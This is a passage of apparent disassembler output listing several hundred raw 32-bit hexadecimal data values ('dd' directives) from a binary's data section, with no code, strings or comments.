		dd 63DD6D5Bh, 5396950Fh, 0D39760BDh, 3FD8C23Dh,	0FB01E787h
		dd 8E9CF5E2h, 469C87Fh,	9DF377h, 3772BD15h, 761F2C1h, 43A8BFADh
		dd 0F19841B7h, 0FC82C5C4h, 0C6007B84h, 6EA6626Fh, 0B2CF0999h
		dd 76E20034h, 9468AB51h, 2D0EC064h, 80401C92h, 6BFA807Fh
		dd 0DBA0132h, 9D0C652h,	0E2CBF05Bh, 0E3CE03Ah, 0C0F75E8Ah
		dd 1E307E59h, 479CA875h, 0E89A26h, 4EBC7FC3h, 0D50D153Ch
		dd 70739F00h, 1B1F9322h, 32E0061h, 9C89FCF2h, 0A3004504h
		dd 39D33FF4h, 5E989Dh, 99664CA4h, 35CB5F5h, 0D871833Bh
		dd 0C40179D0h, 65F672DBh, 0CEC3EBFh, 58F84C88h,	788E4B00h
		dd 0E0761917h, 5B41341Ch, 7827CE8Ch, 40640191h,	0CA63BAC2h
		dd 0E807E015h, 0D20F08B0h, 8E30F819h, 0EE68C00Ah, 0DAFEE3h
		dd 3B4DAFADh, 7194CAB8h, 0ED718779h, 0D0EAEE17h, 1B8A00BAh
		dd 0BBFBE8BAh, 0DF0FB390h, 0AEE72ACFh, 0D09F0130h, 0E4307306h
		dd 0F025391Bh, 0B3269700h, 60D320A5h, 0C5CB0F00h, 144F0951h
		dd 317600E1h, 0E670D8DAh, 7859FBE0h, 0A24E0070h, 995EB8CDh
		dd 3AA80258h, 0F2394A9Fh, 82FBBC81h, 0F0C203Eh,	12DEC300h
		dd 99502E81h, 0B2CA0153h, 0BD6378E6h, 0D412029h, 0B33ADFFEh
		dd 486080C6h, 76ED8BE3h, 89E20234h, 0D9218AA0h,	0C837BCA0h
		dd 9D1CA543h, 9EC0A677h, 113A0BAh, 1A4EA6Bh, 0DAE2B338h
		dd 60A2E9AAh, 3900ABD9h, 13F1E7B9h, 3F4E8BCh, 475A0EA6h
		dd 0E38820A3h, 7374A440h, 0B5685600h, 0C49866BAh, 79C7E3Ch
		dd 5418506Ch, 0B23D508Eh, 450034E2h, 0BA63FEF8h, 3C2392Dh
		dd 9E15D157h, 68E02B92h, 0C3001DE3h, 9A970288h,	41BCC2h
		dd 4A066FD7h, 0D45687B5h, 86244909h, 20B093Ah, 84CEB2B4h
		dd 6C80EB8Dh, 0B31E43h,	0B0A4FAF1h, 42658CF3h, 0C101A5F0h
		dd 0ACDCC715h, 5881B3C8h, 83ADC071h, 0D8E5D894h, 3F22E3Ah
		dd 81B2E388h, 6B7F8D3h,	0C87C48A5h, 0CF10D430h,	6003ED71h
		dd 2D59FDF6h, 450B9015h, 0D2233C3Ah, 0F3F01300h, 52EAB171h
		dd 2408823Ch, 2800D543h, 3FE7E897h, 3C190038h, 7250EF90h
		dd 120034CCh, 0F329427Fh, 63B3E9h, 6EBAA121h, 0DF1559B4h
		dd 0C35BB001h, 1CC470D5h, 0E07DDC40h, 0E13FE0A5h, 22461080h
		dd 2E5DEC35h, 253E7100h, 1BA281B5h, 4B4300EBh, 0D4DCF259h
		dd 2E7B3161h, 0FED08E63h, 9240DF8Fh, 0C05C6F13h, 0EC6DBD06h
		dd 5714A7BEh, 0B43B18h,	52F77DFEh, 15EC088h, 0E75171A8h
		dd 0ECD7F827h, 663F643Ch, 732380BDh, 98998DDFh,	21E006Bh
		dd 0EF84D2E4h, 0A3005C69h, 679BFD7Bh, 7CC0D36h,	5282B7CFh
		dd 2B76700Bh, 8E010CB8h, 2BDCED2h, 54D0641Bh, 6A6F0135h
		dd 3A6325Eh, 695C24F4h,	86A9F300h, 8F277AEFh, 7FD0F105h
		dd 4DD7C34h, 7C0A3010h,	0D7A782ABh, 3470CC90h, 3CD87E0Eh
		dd 2D2E4EBh, 0E3E90C90h, 1829005Eh, 4D1C9E84h, 600A395h
		dd 192C0BCAh, 1FB3756Eh, 84147105h, 0C11D62ADh,	800AF836h
		dd 0BDDEF220h, 499B25h,	0FFE6B457h, 0F94617F7h,	60044D7Fh
		dd 1CA4DB62h, 0C0E064C7h, 13D0E7Bh, 0ADE10F75h,	0EBAB3E43h
		dd 4967A8A8h, 0BE379401h, 0D752A214h, 481C10ECh, 0BA0F4015h
		dd 0DFE0CBE7h, 0E3CE93CDh, 5441AC2Dh, 0A9AF026Eh, 4C403C30h
		dd 3440C8DEh, 942003EAh, 0D23F6C40h, 1869F10Ah,	0E130FFF7h
		dd 74E748h, 9730CF98h, 0C5A7D76Ch, 77046B74h, 3E04F24Ah
		dd 50ED0480h, 551D0149h, 0ABA2D72h, 0C2C02B8Ch,	6DB9A1h
		dd 75B829B3h, 8EFC1E57h, 6A9D9A00h, 5DE69B10h, 0D818C073h
		dd 11B5295Ah, 2F8E9202h, 40F9441Ah, 0AFC4FCh, 267A4B4Eh
		dd 48B1BD22h, 0F3A1AA00h, 37D74374h, 13DA286Dh,	527584h
		dd 44FBEE1Bh, 9EB1E21Eh, 80D1E907h, 80CE17F9h, 0BA98E38Fh
		dd 0A75100B4h, 52B34A32h, 4003FE0h, 533E62D0h, 1887E699h
		dd 81AF254h, 0FB006F06h, 6CC586A7h, 0AF4E18Bh, 389419E0h
		dd 0F99A0080h, 4004D373h, 8D2BFA00h, 74A363D5h,	38CE0048h
		dd 3459E5E1h, 7A00F4A0h, 0E6101602h, 76647D8Ah,	0EE0C034Eh
		dd 70F727D8h, 1034A648h, 0ED39CFCBh, 575FA6h, 52E360D4h
		dd 7507ADBEh, 6762A6C0h, 45B00540h, 58C70039h, 0E037EB40h
		dd 0E7F63A1Ch, 1889DA24h, 64E9100h, 1B9408h, 0EBB9FEC2h
		dd 0C14B33F7h, 0E21DBF13h, 0C53A6C47h, 0DEA2842Fh, 23401880h
		dd 2378810Bh, 29710198h, 0F86D872Bh, 3ABE6820h,	9DA4A5D3h
		dd 0D77C00B4h, 0D640BAA4h, 87325F1Dh, 0EB92E09h, 0B7AD20D0h
		dd 7540BCDh, 5956CCDCh,	0F6FF20B6h, 690ED717h, 83933947h
		dd 0E011AB6Ah, 0C1E5AEE1h, 1F64159Eh, 0E17B7166h, 2D21DDh
		dd 0E297BF80h, 5F7EF27Ah, 0F900B3F8h, 0FD18DCBEh, 671A94h
		dd 3F34D8B6h, 0C411DE9h, 35765500h, 0E3784F3Dh,	6B2B0044h
		dd 62E1B448h, 877E8372h, 0CCEEECA0h, 77A7670Ah,	9EBDE450h
		dd 64803756h, 0E9D48CC1h, 9418004Dh, 0A1E4FC0h,	18B0DAECh
		dd 0D8437328h, 0B3CDC601h, 720B4CEAh, 0A0CAB060h, 40C112ECh
		dd 8B03DA9Bh, 0B6A2F9F8h, 0DA1A8D7h, 1B4F383Ch,	321A4C7Fh
		dd 0B94CC204h, 5818C64Eh, 0F4765E00h, 92067ACDh, 70FAE9h
		dd 4DC3C36h, 9058C32h, 0C5260A7Dh, 0B3808C3Dh, 71F80C3Ah
		dd 4CBE04B4h, 40490E5Bh, 0A94F3ECBh, 0CC49072h,	56DF3F23h
		dd 510BC839h, 2191D2h, 262E0643h, 42BC0082h, 1D8FD441h
		dd 8C00A30Bh, 0B15DC3E7h, 71E57037h, 0E30A0008h, 9AD4C2D7h
		dd 410075F3h, 866B5FAFh, 5099AA4Bh, 2584B3h, 79924013h
		dd 3E49CAD7h, 56E7BB16h, 0A1434500h, 9445714h, 0ED3A20A8h
		dd 0E76E3780h, 0AA0F86EAh, 60536F46h, 0EC8C2DC7h, 0D840713h
		dd 1016C866h, 47068FE0h, 0B8DFE100h, 0C234B9DAh, 36210B79h
		dd 36601477h, 0A6002F7Ch, 8B4CF2CEh, 7100F03h, 0A11592FDh
		dd 22771Bh, 94DB2CB8h, 0A7355903h, 0A03695C3h, 34A68C4h
		dd 4DD40F5Ch, 0E0004651h, 1AA1BFEEh, 3356B9Eh, 0B2D2FCBCh
		dd 9FA05DE4h, 7008857h,	0BFFAC3FFh, 0C04CC40Ch,	0D3607B68h
		dd 1D02ADACh, 0F6A55B7Eh, 29D468E3h, 50CE00B7h,	6D6C1844h
		dd 80BA4F4h, 80C9BF82h,	0D297C5E3h, 398E00F3h, 5B5009F1h
		dd 1E502FA7h, 27604798h, 0D9029CF0h, 6420072Ah,	0F08548A0h
		dd 625CCCE8h, 9C49CB2Eh, 0E524C280h, 719B089h, 0A4272C9Ch
		dd 11CCC0E1h, 5BE846C4h, 18F66228h, 0E56023F4h,	0A91867A9h
		dd 86A63D1h, 9480EFA5h,	0B5079B04h, 0E8690650h,	0A2E5BAC3h
		dd 60B56349h, 39CC4988h, 4D60FCC4h, 6A4A4411h, 82FD001Ch
		dd 84F7E8D5h, 660B607h,	27BD4521h, 78DE0Fh, 9CE69889h
		dd 90E8A08Dh, 3964830Dh, 474499E4h, 481408h, 0FAE861A3h
		dd 0BC073E34h, 0ECB73339h, 3F0835D0h, 8D070001h, 19236E5Ch
		dd 0EA007CEDh, 0B57FA453h, 8F32ECh, 9EDAC92Ah, 9D76D6D0h
		dd 8333D139h, 0C84E9C92h, 0CA0890B6h, 0E22A03E6h, 0A2A3BE9Bh
		dd 6F04B904h, 2B5EFB28h, 12A35804h, 32ED11C0h, 7B47FBD8h
		dd 5C290325h
		dd 0BD2D893Fh, 9D37D079h, 4173E8A7h, 0AF2922DAh, 0E67BC00h
		dd 0B689D09h, 8D7800EEh, 3B56C165h, 3648A146h, 308200BCh
		dd 129AE4AAh, 87BE007Ch, 0C41F59F1h, 0FE0039D2h, 0F85AEFBh
		dd 0F9A408Ah, 0E3C99D31h, 0C7B879A0h, 86027126h, 6A4CB697h
		dd 0F0E0FFBCh, 3E00639Bh, 0EEC31F3Ch, 745DA2CAh, 0C7BE0052h
		dd 0A324226Dh, 6F095C07h, 804EEC85h, 72C98A4Eh,	61A0048h
		dd 51ED5EC3h, 0F81496AAh, 3DF3B0F4h, 30E38C24h,	83411BDh
		dd 955D768Ah, 4C408B9Eh, 50DF725h, 0D3D20002h, 962DF643h
		dd 0C50A1215h, 0AC3C0418h, 6717F100h, 0B30913h,	0DACDAC2Dh
		dd 63B80A2Ch, 1D9F3300h, 0A94A38CAh, 0CC623921h, 0F858DF00h
		dd 0C425AB68h, 1F96E700h, 9BF1D712h, 997CFFh, 23634790h
		dd 28822B36h, 0B6DEF900h, 0B9EBD61Ch, 2A30C321h, 0CEA0B0FEh
		dd 0BA009583h, 5102F987h, 7E94C5E6h, 0C08838CDh, 33E4A4h
		dd 653CCC6h, 60007890h,	7BD4D0C1h, 0E301F5h, 0BEA6D145h
		dd 106459B5h, 5C32DF04h, 2CD1414Ah, 0B7F14CFEh,	0CD44F0h
		dd 0AC6BB594h, 0C7197EFh, 8F77CF00h, 66D31EAh, 40235855h
		dd 2CC7B400h, 88C9198h,	83F47800h, 386254ECh, 98567D9Dh
		dd 9FCA261Fh, 960B0072h, 2E673152h, 0DC19DF09h,	2A6F8042h
		dd 0F1515Ch, 0F95D9F6Fh, 4485394Eh, 90C33300h, 0E2918D1Eh
		dd 0FDD50001h, 0CB5A8681h, 34009262h, 80E8294h,	7B8BCCFAh
		dd 72030095h, 0DC91E57Fh, 8730860Ch, 0DD4EE1D1h, 20270074h
		dd 5045DD4h, 5E38B3FAh,	3E9301E4h, 0A1791FC4h, 0A677ECh
		dd 1B29DBB2h, 0E408BD58h, 0E99C1D00h, 0C5701344h, 0EDA80872h
		dd 3A009FE5h, 0BFEF8EAh, 0D74200AFh, 5D2299A7h,	0A900528Bh
		dd 6F47B89Bh, 779454A3h, 569600ACh, 84C8512Ah, 0B0E43CD7h
		dd 0C1A9E901h, 19129E6Eh, 3C90F4DFh, 306B36h, 0A2F5B84h
		dd 0B840A817h, 7328CD1Eh, 0F7C191DCh, 0D48AE667h, 0C0A4E2C2h
		dd 0E93A13h, 0FB0B0768h, 0FED116ADh, 53414400h,	7AC1E688h
		dd 0DE671h, 0E4E53C6Bh,	162964D8h, 54B4E200h, 8F6814EEh
		dd 0D1892E59h, 0B5D877Ch, 8E1DE0F3h, 8300735Ch,	0BE8C9720h
		dd 13FD133h, 6DF4C5BFh,	0CF4C045Ah, 63986800h, 5CADE37Ah
		dd 59641E60h, 55540ECh,	0C9952646h, 205A2A03h, 0E8DCB6F4h
		dd 4C8E1399h, 25101C96h, 2EFF0095h, 54D952D3h, 28D10129h
		dd 364ACD57h, 8769E59Bh, 3F3C4C0h, 3F111DE6h, 0F000A8D4h
		dd 295DBD8Ch, 0AE01559Bh, 7C1BB872h, 9C345B09h,	8BFC0266h
		dd 76E98E4h, 0AF9FDE0h,	0E3F79904h, 1A8293FEh, 5116C053h
		dd 0DA3901B8h, 0A6EA85F6h, 2ED1E0A2h, 0C105D475h, 0ABD04097h
		dd 0A5A325C0h, 80D9025Ah, 84A1B981h, 82CC83E0h,	78BFE601h
		dd 6C2DF748h, 1695C5E8h, 9E9DABh, 8BA9EA1Eh, 1B48F366h
		dd 84161E5Dh, 93494B1Eh, 0C2B843FDh, 389048B7h,	49DA3B5Bh
		dd 26B0B680h, 6919676h,	72F8141Ch, 0AA341A00h, 0B0E29E2h
		dd 6E8AC1C8h, 4E696080h, 0F5029D0Bh, 29104660h,	53D06037h
		dd 12A4409h, 2679500h, 17F2A60Ah, 5036737Fh, 0CAAEEFh
		dd 6E72D7D0h, 4F94B16Bh, 2B054501h, 0F8CF9C7Ch,	0D12DC0h
		dd 7F214DDAh, 8FAD7E15h, 848EFF07h, 0E1005D8Dh,	1487C5F8h
		dd 0AC46ABA2h, 9714B23Eh, 5A00F868h, 26CB7A11h,	0F9125B33h
		dd 4049BF67h, 0B4209B6Bh, 3846C040h, 57000F78h,	582F0754h
		dd 5CB467E5h, 4100AC71h, 8ED00CECh, 24012370h, 2ECF5CD9h
		dd 9640D1B2h, 0FFD72FEh, 820188E7h, 5F32F580h, 0A203D520h
		dd 0C6B125C2h, 26A1E01Fh, 0F15801D8h, 93F2A44Ah, 206DCCBEh
		dd 0E09AD901h, 4B25D3B3h, 78A76D0h, 74B4F901h, 0DC24D038h
		dd 8B095B1Eh, 80AB752Eh, 8FAF49A0h, 63700C4h, 0D994EDF9h
		dd 9201C8A3h, 9C5CA1E1h, 0EC643593h, 548E0184h,	7D2A7BB8h
		dd 2175F48Ah, 4D465600h, 9674261Ch, 4F600C1h, 0ABC4B2E8h
		dd 91016432h, 6255027Fh, 2EF854B6h, 0ECBA0258h,	0BE612CD6h
		dd 6A9CE0EBh, 44B05B0Fh, 0C0086987h, 30F198CDh,	705D600h
		dd 72E92EC4h, 62A80239h, 7402A4C1h, 264E7DC0h, 0C94BF807h
		dd 36804190h, 24FC1285h, 9D76A5Bh, 82DC6BE0h, 0FDF66900h
		dd 0B0F0DBAh, 0B5C419CCh, 5CE4D080h, 0E8EEBCF3h, 55C61F00h
		dd 0E9FD2DB0h, 0C1E05Fh, 0BCA6A7C4h, 8EA257F6h,	808BD93Ah
		dd 82BFA88Fh, 360C88EDh, 60403EE0h, 0CA0F2500h,	0CC5AC409h
		dd 0A6627727h, 20474380h, 920A1FF8h, 90E08EE2h,	0FC70ED40h
		dd 0B17D1050h, 79423Eh,	0E853B2ABh, 7CF6035h, 0A27D02AEh
		dd 838BD02Ah, 0EF007006h, 0DF117294h, 1DEAF8F0h, 3878FA1h
		dd 2F0C0AA0h, 4942FDF8h, 0C0C9DD0Fh, 4BA460E6h,	71D4517Eh
		dd 690D0374h, 0AE40F93Eh, 0A1C172C0h, 45E6700h,	0F55DF222h
		dd 0B4F80181h, 104B802Fh, 348AF494h, 7C9425F4h,	257C085h
		dd 0A920E800h, 0CC486139h, 0A521D608h, 0B4025F00h, 76AEC710h
		dd 6D460814h, 0E800E00Fh, 9AAF6121h, 0BC6049Ch,	80693680h
		dd 4A2F0E8Ch, 14CAB900h, 527F07ABh, 56801BCCh, 882310E5h
		dd 25D01F2h, 18506AD3h,	0CCA389D9h, 5C015E02h, 828BC40Ah
		dd 0ECF8C8C9h, 614772EEh, 55E52873h, 0E6C94393h, 0E7782010h
		dd 72078C5Dh, 0EF2F414Dh, 1A207A00h, 0EB060ACAh, 42AC913Dh
		dd 0D4A50029h, 0C1CC5E24h, 0C43208C5h, 68B608F9h, 1CD843Ch
		dd 0A0C24824h, 0B0378E1Eh, 563F680Ch, 8092FBCBh, 0F55CD0A3h
		dd 35605DDAh, 3731E114h, 30B460F4h, 58A02183h, 1E002FB8h
		dd 38CECAC1h, 0F4DFB262h, 6F5F00FEh, 66685CF4h,	0B3002ED5h
		dd 71532612h, 15EF1Eh, 543AE704h, 487A660Eh, 0C712101Bh
		dd 0AF7C8030h, 1B2303CCh, 7A6AFE57h, 0F76F1818h, 1FCFF151h
		dd 16D2E10h, 0DDF2CD62h, 161130AAh, 2DED3C0Fh, 0F09FBC4Dh
		dd 5BB39A00h, 0EE77A53h, 0A7EB8C6Bh, 40560680h,	6A00B438h
		dd 532CA1FBh, 34E39ECh,	5C4F615Eh, 79005693h, 4CF46440h
		dd 2CBDC429h, 0F16723h,	5D01E43h, 2E004B39h, 0F36EE8A8h
		dd 3F0F9AD3h, 5480F1F4h, 8CE93ED4h, 0BCD85779h,	304DCF51h
		dd 0B5A07B69h, 18C06751h, 38480BB8h, 1C040023h,	7846A35Ah
		dd 0DC017125h, 37F6D50Ah, 70C472C1h, 6D470773h,	63164F79h
		dd 89B0C9FEh, 380558C0h, 4403E08h, 0A9D02BC7h, 9ABDA3h
		dd 2A45411Fh, 0C2D5A23Ah, 0E9A046F8h, 0BE0E6220h, 80F50239h
		dd 79C83A4Fh, 42D40104h, 691EFB84h, 0DB088C93h,	0AA20BFh
		dd 0A3900481h, 86370B1Fh, 63097100h, 0C47CD977h, 2DB201F6h
		dd 0C6CDE83Ah, 5800D320h, 964D76A5h, 383EF6C3h,	540D1107h
		dd 0B3902006h, 0A0212858h, 0C05BF7B8h, 34D2EF11h, 0DE0CC288h
		dd 9CAD3D5h, 8F21C070h,	97A734E9h, 0CC9F3Ch, 0A9A5D116h
		dd 7DF68445h, 811E636Fh, 0B1F891DAh, 8908AA4h, 8B5BD31h
		dd 20A4E919h, 0AA1600A4h, 0F8695163h, 3F41BB00h, 44E83B7Ch
		dd 0A821600Ah, 0AF5EB9E2h, 48159CA4h, 38A4B390h, 6F484Bh
		dd 1568F42Ah, 5218E5h, 0E131A7A9h, 91C074D0h, 88019B75h
		dd 0F5A8FC47h, 0B7E85C14h, 9EAB0035h, 19168E50h, 4500AE1Bh
		dd 6DA0CAA8h, 0DAF1C1h,	497278D5h, 7BB32723h, 850091F4h
		dd 3CD226D3h, 0B0DB9B48h, 0F8F2BBh, 0E2621486h,	46B80515h
		dd 4A00FDF4h, 33C9AC1Fh, 0E53D65h, 5668E2B6h, 0B9BDE9B7h
		dd 7EA06300h, 0A61D8496h, 468703D3h, 4533CDC6h,	3022E8B3h
		dd 0A2530F65h, 8B0E1D2Ch
		dd 718E04C0h, 2B0089AFh, 0EDABAC58h, 76F90Bh, 0CFAA4A3Dh
		dd 0E9B38B17h, 856CC0Fh, 9249B9E2h, 188F4F0h, 0F298DAD0h
		dd 0D19791F3h, 0B1218066h, 1F76F4B3h, 3CAF383Bh, 3D71E81Fh
		dd 0E6080A00h, 0C3CFEA80h, 31307361h, 0A1C07B5Ah, 5B6E13FDh
		dd 0B5FCE5h, 0AB3EFD8h,	1A0E19D3h, 0D07236FBh, 3803EF63h
		dd 0EB85736Bh, 0C91101F4h, 43FF179Ch, 6A91E7B8h, 0DF08989Fh
		dd 0A8AA69h, 0AB77E117h, 0F3FF372Ch, 4D2F7E00h,	0CFAD4389h
		dd 2264003Ah, 6D4C8DC4h, 0AE30A1F6h, 899771B5h,	5A0B84Ah
		dd 3652807Ch, 493081B4h, 782087F6h, 3F404A91h, 0BFF40Ah
		dd 0EEFBA32Ah, 543546E1h, 198460C0h, 888CF6D7h,	9F30C439h
		dd 28CC70A2h, 0E9A1002Fh, 3113D329h, 0D4F01A9Eh, 0F3406A1Fh
		dd 0BCE3B80h, 6DE646h, 60FB9D25h, 3536484Ah, 0F4E84C00h
		dd 430EC983h, 57A3000Ah, 0CF51686Fh, 0C3039169h, 957167C5h
		dd 8F3DC027h, 5DE0E82h,	8D40CA13h, 7D81B098h, 0C6DBE300h
		dd 5FF39360h, 39FA001Bh, 0E8F41AEh, 312890E5h, 7874BBB9h
		dd 0A769B003h, 0A8465FFAh, 72C30DAh, 0B7BCBEAFh, 1F5208Ch
		dd 0E1F03EFCh, 8863F200h, 0B5E572F8h, 8D5B007Eh, 0A3AAC73Bh
		dd 0E4E5C4F3h, 4C00E139h, 186907F5h, 285BDh, 3071A25Fh
		dd 499EBCB7h, 67F0CF0Fh, 4FD806Eh, 8D4CC2h, 0C1C95A64h
		dd 0BBB7CA9Dh, 0EA0B29C0h, 12253303h, 18DB65D9h, 9F6E08B8h
		dd 0CE7A20C0h, 92C004h,	67636FC8h, 0F43F1480h, 0BCBF2930h
		dd 395B049Dh, 0C98C9C8Eh, 0E038A8F3h, 0CC06111Bh, 104820h
		dd 73E68F01h, 0F09458FBh, 0C9065C72h, 0CE860AFEh, 33A07C28h
		dd 0A8488E3Dh, 18DBD6CFh, 36CF9B06h, 70494525h,	0F5FC0069h
		dd 93FF03C1h, 8CC1BAEh,	0F6E2175h, 9C7BFBB8h, 0EB924818h
		dd 938F61C0h, 0A63923h,	0DA51420Fh, 0BB9C68CCh,	850BA301h
		dd 12F6E345h, 2DB7F0C3h, 6B89001Ch, 269A3D92h, 7900E5BAh
		dd 10846D36h, 6A72816h,	0E2D6A006h, 7A00209Dh, 0B8ABF6F4h
		dd 0F64F299Eh, 9418C39Ch, 407924FDh, 66A8BD01h,	0F8FEDA16h
		dd 457A109Ch, 0AAE05881h, 0F283CC6h, 996EBF56h,	0FB6D3CC0h
		dd 2400C377h, 0A79D1B64h, 72809Ah, 0DA0EC4E9h, 38B047C8h
		dd 0BEC34A0Eh, 5830C0D9h, 7D3132h, 0FFE90DC4h, 967814D7h
		dd 4076BB7Bh, 5F0052F0h, 0E05BB4C6h, 25EE67h, 5DDB6113h
		dd 92FD9E0Ch, 533094E6h, 0D68EB950h, 2AE9C373h,	1F998F6Eh
		dd 5ABFF8D3h, 0A15B7500h, 9592EBD7h, 0B99A0E04h, 6540054Eh
		dd 88C99EDAh, 97873000h, 0EFC3F339h, 27830024h,	94670155h
		dd 1A00683Ah, 568988B5h, 58D41D13h, 43003E7Ch, 5DF6D92Eh
		dd 0D13E2DA9h, 791E003Bh, 0FB94AC69h, 0E1D4009Eh, 2960118h
		dd 497F160Dh, 0AC68CF01h, 893CBFBBh, 6CCC1887h,	9AD87360h
		dd 6FEC1000h, 8751219Eh, 62B10006h, 386AE92Ah, 0ED3DCDC2h
		dd 0CC1A00EBh, 0F573C842h, 900C30A7h, 3B61ACA8h, 71CA5074h
		dd 800C54Eh, 7022FEA9h,	0E27307h, 0D12839A4h, 6F352015h
		dd 9F231001h, 3526A0Bh,	0E5C77080h, 0EE0E11C1h,	0AD5D9001h
		dd 0DCE1AA94h, 90778843h, 44A86Ch, 0C09DF3A2h, 96E6EEA1h
		dd 0A4600601h, 860CA945h, 0F9661884h, 7A320193h, 97707B4Dh
		dd 0F84C0064h, 491ABEDDh, 0EE634FF7h, 0BF600276h, 2AA228C0h
		dd 0A4F61C1Eh, 0C3B80A0h, 3727A722h, 0E8C33Ah, 6DFA8BA2h
		dd 358D462h, 50F0F3E4h,	0A6A7FEFCh, 913B201Bh, 565407E3h
		dd 809B9C7Eh, 362A308Bh, 6724EAF2h, 0D09368DCh,	483ACA69h
		dd 0BA962503h, 0F6E9413h, 0DEA1C2A8h, 0DA503C6Ch, 2E00887Fh
		dd 0D0059D20h, 0C6AD98E9h, 20A7B008h, 2E31FB00h, 0CBDD1B45h
		dd 18A4005Dh, 0A527BF5Ch, 36609440h, 0C46852C8h, 7A6600C0h
		dd 267F138Ah, 84B83017h, 0CBD55A00h, 5DA7FE62h,	2B709DC9h
		dd 1D6F2E00h, 0C4AD79EFh, 0FE6400B2h, 77C5EA48h, 52002096h
		dd 0DA450E71h, 56FB0F0h, 1F8B8CE1h, 0A256839Eh,	34E2800h
		dd 6B37EAFBh, 6C998BCh,	8B91D9F7h, 363A18B8h, 1E391F04h
		dd 7B5211F0h, 274E01AAh, 3F899BADh, 4C088C55h, 7F20FCh
		dd 694AAB3h, 5433B676h,	237900B5h, 360194Ah, 0B0F2DA42h
		dd 6806E06Bh, 0FBF94555h, 35D101A8h, 36E4830Dh,	588AE8B2h
		dd 0F0B0F100h, 68E854A1h, 605E7438h, 712F214Bh,	6C1D93F1h
		dd 50B037ABh, 0C57772A5h, 0ABB8F721h, 6568A318h, 8944ECAAh
		dd 46C1899h, 41F0ACF1h,	358C315Ch, 0F105AB00h, 0E0E2ED0Fh
		dd 0E308205Fh, 1C9FC252h, 40E6193Dh, 0EDFB078Ah, 0D7001045h
		dd 0A7B98B83h, 0CD3D4Ch, 14C1B8D9h, 99F55ED8h, 0E5B55F00h
		dd 0EB46A5C3h, 0F0093A3Bh, 40720C9Fh, 0F2270FEEh, 7B0368ECh
		dd 26B3A950h, 1DDCF96Eh, 21BDD8D1h, 497A6080h, 0D7319E24h
		dd 256BD500h, 6A9DA4C1h, 20C33C7h, 70C18C28h, 0F5120FAh
		dd 0AA219C00h, 492966A7h, 0A1BD0C23h, 0FF183A9Bh, 30F7BE30h
		dd 6285BAA7h, 1E5F2156h, 3283703h, 40271650h, 61001230h
		dd 8EB275ACh, 79DF6ABh,	0E0682EFh, 0DA21CCF0h, 8DB1EE00h
		dd 6F5DB394h, 2A600CDh,	0D192FF38h, 891836C2h, 0DC707EE2h
		dd 30DF0CF9h, 12E8F76Eh, 6074D400h, 18384DF8h, 609C077h
		dd 32270C8Ch, 9274FB07h, 57709DC9h, 62A9F25h, 0AFA2FFFEh
		dd 81DB809h, 0F030B2A8h, 416F92F9h, 0F527FC31h,	29264137h
		dd 0C35452A1h, 9B77CCh,	0B470D6C7h, 50C82079h, 82367800h
		dd 0D9023592h, 96B5004Fh, 0FACD9E0Ah, 0A901FBEh, 350C88F8h
		dd 29906733h, 9BB81F03h, 0C08BDFE3h, 3F8C05E1h,	0E00890BDh
		dd 0F7924Dh, 419B0C1Bh,	40BD04F8h, 0E08584h, 0E1BD407Bh
		dd 63315137h, 8A0CCC02h, 8059356Ah, 34481130h, 8BB103DEh
		dd 0F307E5C2h, 7CFF92A8h, 0C39CE03h, 91BACC1Fh,	58D10F74h
		dd 0C0FBD2F0h, 8E199018h, 0EE30106Dh, 3F0A508Fh, 0A8030013h
		dd 0B289FA2Bh, 2603C48Ch, 9598B029h, 0BF41E058h, 60AB0F1Ah
		dd 48406366h, 5FB736B4h, 7D0071F0h, 1CDF3505h, 6F3ABF3Eh
		dd 55852829h, 0B70C0770h, 39304C76h, 17B81A15h,	0AC82039Ch
		dd 113CD0h, 0D789C211h,	0B0C02DFBh, 50D80316h, 0F2BE9C00h
		dd 76FA0h, 0FE2890AFh, 2E268991h, 9EE54D1Dh, 0FA04C680h
		dd 0B7558Ah, 5D246C65h,	12C08E42h, 0C7385000h, 0B444E36Dh
		dd 1A5612C2h, 164F009Eh, 9B4B4768h, 7DEF8307h, 9806B66h
		dd 3FC4A0FBh, 42078EE6h, 4651F6E0h, 0A60021A1h,	0C75BA0DFh
		dd 78F43E9h, 9685A5E7h,	0C2B30019h, 60CD0812h, 61913068h
		dd 0B4D8806Eh, 43E6E92Bh, 993B004Ch, 0D997476Ch, 76FAB4h
		dd 0ADE250D1h, 0C0968839h, 4639CE73h, 28510087h, 4C9E6C66h
		dd 78810DE9h, 0F8E8A172h, 0F503D9E7h, 69F86629h, 0A334D3D2h
		dd 9706B047h, 81B80002h, 8D631383h, 6230612Bh, 0F76978A1h
		dd 6F023C80h, 9BB7E300h, 0C35E88E1h, 0FF8EDC00h, 0B967D943h
		dd 0AC471F23h, 0AE9B4069h, 0C73C0438h, 721F0A00h, 73CCEF5Dh
		dd 671A074Bh, 3010E8B5h, 93E28A39h, 63B6B207h, 87D025C6h
		dd 0CA17Eh, 0BD2B2818h,	0B9C07A1Fh, 0E03BE100h,	0DDD8A589h
		dd 737E00B0h, 7B343A5Dh, 88000661h, 9F958659h, 8240Dh
		dd 9313FC14h, 0F91BCB2Ah, 0F330B900h, 4157DD86h, 45D600C8h
		dd 0BB26BAB4h, 0E20067EDh, 99CB18DEh, 0BC2AC7h,	0E1FFA36Ch
		dd 0F0D0332h, 0E9EFD403h, 0D854C683h, 0B29CBFBh, 4239EC78h
		dd 0DF7BF180h, 812CB118h
dword_534058	dd 2100F637h, 1CFD56FAh, 5F9E3EAAh, 716D8383h, 27B19132h
		dd 74CAF4C9h, 0CD881A03h, 0D4BF75h, 9B116629h, 0DF15F451h
		dd 0DEC1B500h, 9F90AAE0h, 0F6AC0061h, 0D2DB02ABh, 0B179E8E5h
		dd 0BB889E00h, 0C9E0C7B2h, 4C7473h, 0BA7D923Fh,	0B90CEA3Bh
		dd 6447EC06h, 1E6308Bh,	9D7B2381h, 0D4F1E3BCh, 5703C9B7h
		dd 0B6D27A38h, 0AE13E09Ch, 32AA0A93h, 395C50Fh,	4CE04DD3h
		dd 39EADAC8h, 7F8DC202h, 800A7A70h, 0B9638994h,	795F00A4h
		dd 9EAD2CCFh, 0DF00C8FFh, 5A8FBA1Eh, 787F042Bh,	0A0D700EDh
		dd 6A615663h, 6B0F9D30h, 0A09BEB06h, 0CE9CC13Dh, 0C52C00B0h
		dd 0D805A1E2h, 0D008B96h, 41FE3891h, 50A825h, 9EBC2E1Ch
		dd 66FDE981h, 88700C75h, 0A4DC4300h, 59C24A85h,	25540034h
		dd 2E10B915h, 7503B4BAh, 0EC4CD53h, 0A123E724h,	456001A4h
